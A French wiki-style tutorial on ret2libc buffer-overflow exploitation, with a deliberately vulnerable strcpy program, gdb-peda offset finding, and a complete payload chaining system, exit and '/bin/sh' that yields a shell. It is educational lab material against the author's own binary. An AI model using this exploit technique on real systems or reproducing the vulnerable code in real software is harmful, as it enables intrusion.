====== Buffer Overflow - ret2libc ======
===== Avant de commencer =====
La lecture de [[Appsysteme:Buffer Overflow basique]] est fortement conseillée avant de continuer. Pensez à installer [[https://github.com/longld/peda|gdb-peda]]. Désactivez [[https://fr.wikipedia.org/wiki/Address_space_layout_randomization|l'ASLR]] (echo 0 | sudo tee /proc/sys/kernel/randomize_va_space)
===== Contexte =====
Le ret2libc est une méthode qui permet d'exploiter un binaire compilé avec une pile non exécutable. Pourquoi ? Car, au lieu de mettre un shellcode sur la pile et de l'exécuter, nous allons directement utiliser les fonctions de la libc.
===== Mise en place du programme =====
#include
#include
void vuln(char* string){
char buffer[32];
strcpy(buffer, string);
printf("Done :");
}
int main(int argc, char** argv){
vuln(argv[1]);
return 0;
}
On compile tout ça :
ghozt@maze:~/doku/system/ret2libc$ gcc -o ret2libc ret2lib.c -m32 -fno-stack-protector
===== Get a shell =====
===== Trouver l'offset =====
Le premier objectif est de trouver l'offset qui nous permettra d'écraser l'adresse de retour, pour cela nous allons utiliser les patterns de peda.
gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
Starting program: /home/ghozt/doku/system/ret2libc/ret2libc 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
Program received signal SIGSEGV, Segmentation fault.
...
EIP: 0x41414641 ('AFAA')
...
gdb-peda$ pattern_offset AFAA
AFAA found at offset: 44
# pattern_offset AFAA cherche à quel offset se trouve la chaîne "AFAA" dans le pattern généré (soit 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA')
Nous avons maintenant toutes les données pour réaliser un buffer overflow, vérifions tout de même notre offset.
gdb-peda$ r $(python -c 'print "A"*44+"\xef\xbe\xad\xde"')
...
EIP: 0xdeadbeef
...
Stopped reason: SIGSEGV
0xdeadbeef in ?? ()
===== Comportement de la pile lors d'un appel de fonction =====
En effectuant l'overflow, nous écrasons l'adresse de retour de la fonction dans laquelle nous nous trouvons. Donc lors de l'instruction RET (POP EIP, JUMP EIP) nous allons pouvoir détourner le flot d’exécution du programme.
PILE
__________________
| EIP | ret; ==> POP EIP, JUMP EIP
| adresse de retour|
| arg1 |
| arg2 |
| ... |
=====Création du payload =====
D'après le schéma ci dessus, notre payload devrait ressembler à ceci :
Junk pour atteindre EIP + adresse de system + adresse de retour + adresse "/bin/sh"
Pour faire propre, nous allons mettre exit en adresse de retour. Allons chercher ces infos :
gdb-peda$ p system (ou print system)
$1 = {} 0xf7e443e0
gdb-peda$ p exit
$2 = {} 0xf7e371b0
gdb-peda$ searchmem /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f65551 ("/bin/sh")
Le payload final :
$(python -c 'print "A"*44+"\xe0\x43\xe4\xf7"+"\xb0\x71\xe3\xf7"+"\x51\x55\xf6\xf7"')
^ ^ ^ ^
| | | |
JUNK system exit "/bin/sh"
gdb-peda$ r $(python -c 'print "A"*44+"\xe0\x43\xe4\xf7"+"\xb0\x71\xe3\xf7"+"\x51\x55\xf6\xf7"')
Starting program: /home/ghozt/doku/system/ret2libc/ret2libc $(python -c 'print "A"*44+"\xe0\x43\xe4\xf7"+"\xb0\x71\xe3\xf7"+"\x51\x55\xf6\xf7"')
[New process 26485]
process 26485 is executing new program: /bin/dash
ghozt@maze:~/doku/system/ret2libc$ ./ret2libc $(python -c 'print "A"*44+"\xe0\x43\xe4\xf7"+"\xb0\x71\xe3\xf7"+"\x51\x55\xf6\xf7"')
$
Et voilà le travail :) une méthode simple et efficace pour bypass une pile non exécutable.